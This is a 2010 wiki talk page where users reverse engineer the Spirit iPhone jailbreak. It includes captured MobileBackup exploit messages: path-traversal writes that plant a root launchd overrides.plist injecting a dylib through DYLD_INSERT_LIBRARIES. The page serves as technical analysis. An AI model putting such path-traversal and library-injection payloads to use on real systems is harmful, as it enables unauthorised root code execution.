Difference between revisions of "Talk:Spirit"

From The iPhone Wiki
Jump to: navigation, search
m (added source)
(removed my garbage again)
 
Line 414: Line 414:
 
After install file is uploaded to the iphone /spirit diretory, how does it get to run? By launchd?
 
After install file is uploaded to the iphone /spirit diretory, how does it get to run? By launchd?
 
-[[User:Miki]]
 
-[[User:Miki]]
 
== Spirit disassembled ==
 
 
Someone decoded the source. Not sure if this belongs to here. [http://pastie.org/1037969 Spirit disassembled] --[[User:Http|http]] 07:15, 10 July 2010 (UTC)
 
 
I just found the source again: [http://www.twitlonger.com/show/2diju7 EinCodierer Tweet] --[[User:Http|http]] 07:38, 10 July 2010 (UTC)
 

Latest revision as of 22:58, 15 July 2010

There exists also a tool called Spirit Fixer v1.01, written by Kirma. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900

--http 21:42, 4 May 2010 (UTC)


I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.

--geohot 14:02, 5 May 2010 (UTC)


I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.

--KodeSlinger 16:31, 5 May 2010 (UTC)

Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd


@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. --KodeSlinger 20:11, 5 May 2010 (UTC)

Oh hah, cool :) If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd

@MuscleNerd - Hah; yeah obviously cool kidz only lol --KodeSlinger 21:08, 5 May 2010 (UTC)

Reversing Spirit

I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.

Spirit.exe extracts a bunch of files into a temp directory as follows:


+ Documents and Settings/<User>/Local Settings/spiritxxx
|
+ - dl
|   |
|   + - dl.exe
|
+ - igor
|   |
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib
|   + - b735701843456754988021d128c2671ee36d1b04.dylib
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib
|   + - install
|   + - map.plist
|
+ - resources
    |
    + - 320x480.jpg
    + - 1024x768.jpg
    + - overrides.plist
    + - icon.ico

Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll. Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe. The callback function launches a thread, which uploads 4 files as follows:

  1. One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib
  2. The Mach-O ARM executable "install" is uploaded as /var/mobile/Media/spirit/install
  3. The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz
  4. One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg

After the files are uploaded, the upload thread signals to the main thread that the files are ready. The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.

As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.

  1. Is the MobileBackup interface documented anywhere? Was it used in other jb tools before Spirit?
  2. Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?
  3. What purpose do map.plist and overrides.plist serve?
  4. What are the two plists sent at the end of the transfer, and how do they allow the "install" image to be executed?
  5. What does install do to provide an untethered solution?

I'll post more as I learn, but it would be nice to hear if others have made more progress.

-EnohpiDesrever 16:47, 14 May 2010 (UTC)

  1. Don't think it's documented.
  2. Actually, freeze.tar.xz is tacked on to Spirit.exe, after the string 'magicmagicmagicm'. xz is http://tukaani.org/xz/
  3. One maps firmware version to the dylib that should be uploaded. The other is read by launchd.
  4. Just look at the contents of overrides.plist and the launchd source. The nefarious part is actually getting that file in the appropriate directory. (Note that overrides is only used for the initial install, because launchd spawns everything at once and the following solution ensures the exploit is run first.)

--Comex 22:54, 14 May 2010 (UTC)

More Reversings

Thanks for your response, Comex, and thanks for the jailbreak! Hope you don't mind me posting what I learn here. I figure that Apple's got to be way ahead of my progress if they care at all to fix the vulnerability. I have some more questions for you, if you don't mind, based on the MobileBackup dialogue I found in Spirit (see below).

  1. What type of encoding is used to encode the overrides file that is uploaded? Ah...looks like Base64.
  2. How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc?
  3. Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact? Ah...just saw MobileBackup_Copy_Exploit

So, let me see if I understand the vulnerabilities that you are exploiting. You found a way to override the environment variable DYLD_INSERT_LIBRARIES via MobileBackup to point to your own library (/var/mobile/Media/spirit/one.dylib). You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up and launchd is executed.

Below is the MobileBackup dialogue I extracted.

plist 0 - Version Exchange

Transmitted:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
	<string>DLMessageVersionExchange</string>
	<string>DLVersionsOk</string>
</array>
</plist>

Response:

<CFArray 00F72AE0 [100B4070]>{
        type = immutable, count = 3, values = (
                0 : <CFString 00F72A70 [100B4070]>{contents = "DLMessageVersionExchange" }
                1 : <CFNumber 00F80F08 [100B4070]>{value = +100, type = kCFNumberSInt64Type}
                2 : <CFNumber 00F72AB8 [100B4070]>{value = +0, type = kCFNumberSInt32Type}
        )
}

plist 1 - Restore Request

Transmitted:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
	<string>DLMessageProcessMessage</string>
	<dict>
		<key>BackupManifestKey</key>
		<dict>
			<key>AuthSignature</key>
			<data>
			7ZSsx9DFT5h7/4rkU1uJJebKwbc=
			</data>
			<key>AuthVersion</key>
			<string>2.0</string>
			<key>Data</key>
			<data>
			PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4K
			PCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQ
			TElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFRE
			cy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9u
			PSIxLjAiPgo8ZGljdD4KCTxrZXk+QXBwbGljYXRpb25zPC9rZXk+
			Cgk8ZGljdC8+Cgk8a2V5PkRldmljZUlkPC9rZXk+Cgk8c3RyaW5n
			PmYzNjQ3OGI3OTUzYzZhZWFkMTlmOGYzMTZhZmIzYzBmNDg2YWMz
			OWI8L3N0cmluZz4KCTxrZXk+RmlsZXM8L2tleT4KCTxkaWN0PgoJ
			CTxrZXk+NjYxZjVhMTYyMTk1ODhjNmU4NDY3MzVjNjYzZmJlMzFl
			NWY4NGRhNTwva2V5PgoJCTxkaWN0PgoJCQk8a2V5PkRhdGFIYXNo
			PC9rZXk+CgkJCTxkYXRhPgoJCQlxZytPdnJUWXM0T1oxQjdZTFJS
			WURFbE82bDg9CgkJCTwvZGF0YT4KCQkJPGtleT5Eb21haW48L2tl
			eT4KCQkJPHN0cmluZz5Ib21lRG9tYWluPC9zdHJpbmc+CgkJCTxr
			ZXk+RmlsZUxlbmd0aDwva2V5PgoJCQk8aW50ZWdlcj45MjI8L2lu
			dGVnZXI+CgkJCTxrZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVn
			ZXI+MDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxp
			bnRlZ2VyPjM4NDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRp
			b25UaW1lPC9rZXk+CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6
			NDZaPC9kYXRlPgoJCQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGlu
			dGVnZXI+MDwvaW50ZWdlcj4KCQk8L2RpY3Q+CgkJPGtleT5iYTdl
			NDM1MzRjZDVhOThkZTA4MGU2MTQxYmVhZjVkYzAwNGFkMjM3PC9r
			ZXk+CgkJPGRpY3Q+CgkJCTxrZXk+RGF0YUhhc2g8L2tleT4KCQkJ
			PGRhdGE+CgkJCW1TWGRRNGlLZWQ3SFMvS3IyRWNPSFE0TEliST0K
			CQkJPC9kYXRhPgoJCQk8a2V5PkRvbWFpbjwva2V5PgoJCQk8c3Ry
			aW5nPkhvbWVEb21haW48L3N0cmluZz4KCQkJPGtleT5GaWxlTGVu
			Z3RoPC9rZXk+CgkJCTxpbnRlZ2VyPjA8L2ludGVnZXI+CgkJCTxr
			ZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50ZWdl
			cj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxpbnRlZ2VyPjM4NDwv
			aW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRpb25UaW1lPC9rZXk+
			CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6NDZaPC9kYXRlPgoJ
			CQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50
			ZWdlcj4KCQk8L2RpY3Q+Cgk8L2RpY3Q+Cgk8a2V5PlZlcnNpb248
			L2tleT4KCTxzdHJpbmc+Ni4yPC9zdHJpbmc+CjwvZGljdD4KPC9w
			bGlzdD4K
			</data>
			<key>IsEncrypted</key>
			<integer>0</integer>
		</dict>
		<key>BackupMessageTypeKey</key>
		<string>kBackupMessageRestoreRequest</string>
		<key>BackupNotifySpringBoard</key>
		<true/>
		<key>BackupPreserveCameraRoll</key>
		<true/>
		<key>BackupProtocolVersion</key>
		<string>3.0</string>
	</dict>
</array>
</plist>

Transmitted Data Chunk (Decoded as Base64):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Applications</key>
	<dict/>
	<key>DeviceId</key>
	<string>f36478b7953c6aead19f8f316afb3c0f486ac39b</string>
	<key>Files</key>
	<dict>
		<key>661f5a16219588c6e846735c663fbe31e5f84da5</key>
		<dict>
			<key>DataHash</key>
			<data>
			qg+OvrTYs4OZ1B7YLRRYDElO6l8=
			</data>
			<key>Domain</key>
			<string>HomeDomain</string>
			<key>FileLength</key>
			<integer>922</integer>
			<key>Group ID</key>
			<integer>0</integer>
			<key>Mode</key>
			<integer>384</integer>
			<key>ModificationTime</key>
			<date>2065-01-15T19:09:46Z</date>
			<key>User ID</key>
			<integer>0</integer>
		</dict>
		<key>ba7e43534cd5a98de080e6141beaf5dc004ad237</key>
		<dict>
			<key>DataHash</key>
			<data>
			mSXdQ4iKed7HS/Kr2EcOHQ4LIbI=
			</data>
			<key>Domain</key>
			<string>HomeDomain</string>
			<key>FileLength</key>
			<integer>0</integer>
			<key>Group ID</key>
			<integer>0</integer>
			<key>Mode</key>
			<integer>384</integer>
			<key>ModificationTime</key>
			<date>2065-01-15T19:09:46Z</date>
			<key>User ID</key>
			<integer>0</integer>
		</dict>
	</dict>
	<key>Version</key>
	<string>6.2</string>
</dict>
</plist>

Response:

<CFArray 00F7BFB0 [100B4070]>{
        type = immutable, count = 1, values = (
                0 : <CFString 00F7BF78 [100B4070]>{contents = "DLMessageDeviceReady"}
        )
}

plist 2 - Upload Overrides

Transmitted:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
	<string>DLSendFile</string>
	<data>
	PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBs
	aXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3
	dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJz
	aW9uPSIxLjAiPgo8ZGljdD4KICAgIDxrZXk+Y29tLmFwcGxlLlNwcmluZ0JvYXJkPC9r
	ZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PkRpc2FibGVkPC9rZXk+CiAgICAgICAg
	PHRydWUvPgogICAgPC9kaWN0PgoKICAgIDxrZXk+Y29tLmFwcGxlLnRjcGR1bXAuc2Vy
	dmVyPC9rZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pgog
	ICAgICAgIDx0cnVlLz4KICAgICAgICA8a2V5PkxhYmVsPC9rZXk+CiAgICAgICAgPHN0
	cmluZz5jb20uYXBwbGUudGNwZHVtcC5zZXJ2ZXI8L3N0cmluZz4KICAgICAgICA8a2V5
	PlByb2dyYW1Bcmd1bWVudHM8L2tleT4KICAgICAgICA8YXJyYXk+CiAgICAgICAgICAg
	IDxzdHJpbmc+L3NiaW4vbGF1bmNoZDwvc3RyaW5nPgogICAgICAgIDwvYXJyYXk+CiAg
	ICAgICAgPGtleT5SdW5BdExvYWQ8L2tleT4KICAgICAgICA8dHJ1ZS8+CiAgICAgICAg
	PGtleT5MYXVuY2hPbmx5T25jZTwva2V5PgogICAgICAgIDx0cnVlLz4KICAgICAgICA8
	a2V5PlVzZXJOYW1lPC9rZXk+CiAgICAgICAgPHN0cmluZz5yb290PC9zdHJpbmc+CiAg
	ICAgICAgPGtleT5FbnZpcm9ubWVudFZhcmlhYmxlczwva2V5PgogICAgICAgIDxkaWN0
	PgogICAgICAgICAgICA8a2V5PkRZTERfSU5TRVJUX0xJQlJBUklFUzwva2V5PgogICAg
	ICAgICAgICA8c3RyaW5nPi92YXIvbW9iaWxlL01lZGlhL3NwaXJpdC9vbmUuZHlsaWI8
	L3N0cmluZz4KICAgICAgICA8L2RpY3Q+CiAgICA8L2RpY3Q+CjwvZGljdD4KPC9wbGlz
	dD4KCg==
	</data>
	<dict>
		<key>DLFileAttributesKey</key>
		<dict/>
		<key>DLFileDest</key>
		<string>/tmp/stuff.1273860294</string>
		<key>DLFileIsEncrypted</key>
		<integer>0</integer>
		<key>DLFileOffsetKey</key>
		<integer>0</integer>
		<key>DLFileSource</key>
		<string>/tmp/stuff.1273860294</string>
		<key>DLFileStatusKey</key>
		<integer>2</integer>
		<key>Path</key>
		<string>Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist</string>
		<key>Version</key>
		<string>3.0</string>
	</dict>
</array>
</plist>

Transmitted Data Chunk (Decoded as Base64):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.SpringBoard</key>
    <dict>
        <key>Disabled</key>
        <true/>
    </dict>

    <key>com.apple.tcpdump.server</key>
    <dict>
        <key>KeepAlive</key>
        <true/>
        <key>Label</key>
        <string>com.apple.tcpdump.server</string>
        <key>ProgramArguments</key>
        <array>
            <string>/sbin/launchd</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>LaunchOnlyOnce</key>
        <true/>
        <key>UserName</key>
        <string>root</string>
        <key>EnvironmentVariables</key>
        <dict>
            <key>DYLD_INSERT_LIBRARIES</key>
            <string>/var/mobile/Media/spirit/one.dylib</string>
        </dict>
    </dict>
</dict>
</plist>

Response:

<CFArray 00F73C30 [100B4070]> {
      type = immutable, count = 2, values = (
            0 : <CFString 00F73AE8 [100B4070]>{contents = "DLMessageProcessMessage"}
            1 : <CFBasicHash 00F73BE8 [100B4070]> {
                  type = immutable dict, count = 2, entries =>
                        0 : <CFString 00F73B68 [100B4070]>{contents = "BackupMessageTypeKey"} = <CFString 00F73BA0 [100B4070]>{contents = "BackupMessageRestoreReplyOK"}
                        1 : <CFString 00F73B30 [100B4070]>{contents = "BackupProtocolVersion"} = <CFString 00F74980 [100B4070]>{contents = "1.6"}
            } 
      )
}

plist 3 - Touch .launchd_use_gmalloc

Transmitted:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
	<string>DLSendFile</string>
	<data>
	</data>
	<dict>
		<key>DLFileAttributesKey</key>
		<dict/>
		<key>DLFileDest</key>
		<string>/tmp/stuff.1273860295</string>
		<key>DLFileIsEncrypted</key>
		<integer>0</integer>
		<key>DLFileOffsetKey</key>
		<integer>0</integer>
		<key>DLFileSource</key>
		<string>/tmp/stuff.1273860295</string>
		<key>DLFileStatusKey</key>
		<integer>2</integer>
		<key>Path</key>
		<string>Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc</string>
		<key>Version</key>
		<string>3.0</string>
	</dict>
</array>
</plist>

Response:

<CFArray 00F80D70 [100B4070]> {     
      type = immutable, count = 2, values = (
            0 : <CFString 00F73C60 [100B4070]>{contents = "DLMessageProcessMessage"} 
            1 : <CFBasicHash 00F80D28 [100B4070]> {
                  type = immutable dict, count = 2, entries =>
                  0 : <CFString 00F7D4B0 [100B4070]>{contents = "BackupMessageTypeKey"} = <CFString 00F80CA8 [100B4070]>{contents = "BackupMessageRestoreFileReceived"}
                  2 : <CFString 00F80C70 [100B4070]>{contents = "BackupRestoreFileName"} = <CFString 00F80CF0 [100B4070]>{contents = "/tmp/stuff.1273764810"}
            } 
      )
}


-EnohpiDesrever 16:11, 17 May 2010 (UTC)


Hi EnohpiDesrever,

After install file is uploaded to the iphone /spirit diretory, how does it get to run? By launchd? -User:Miki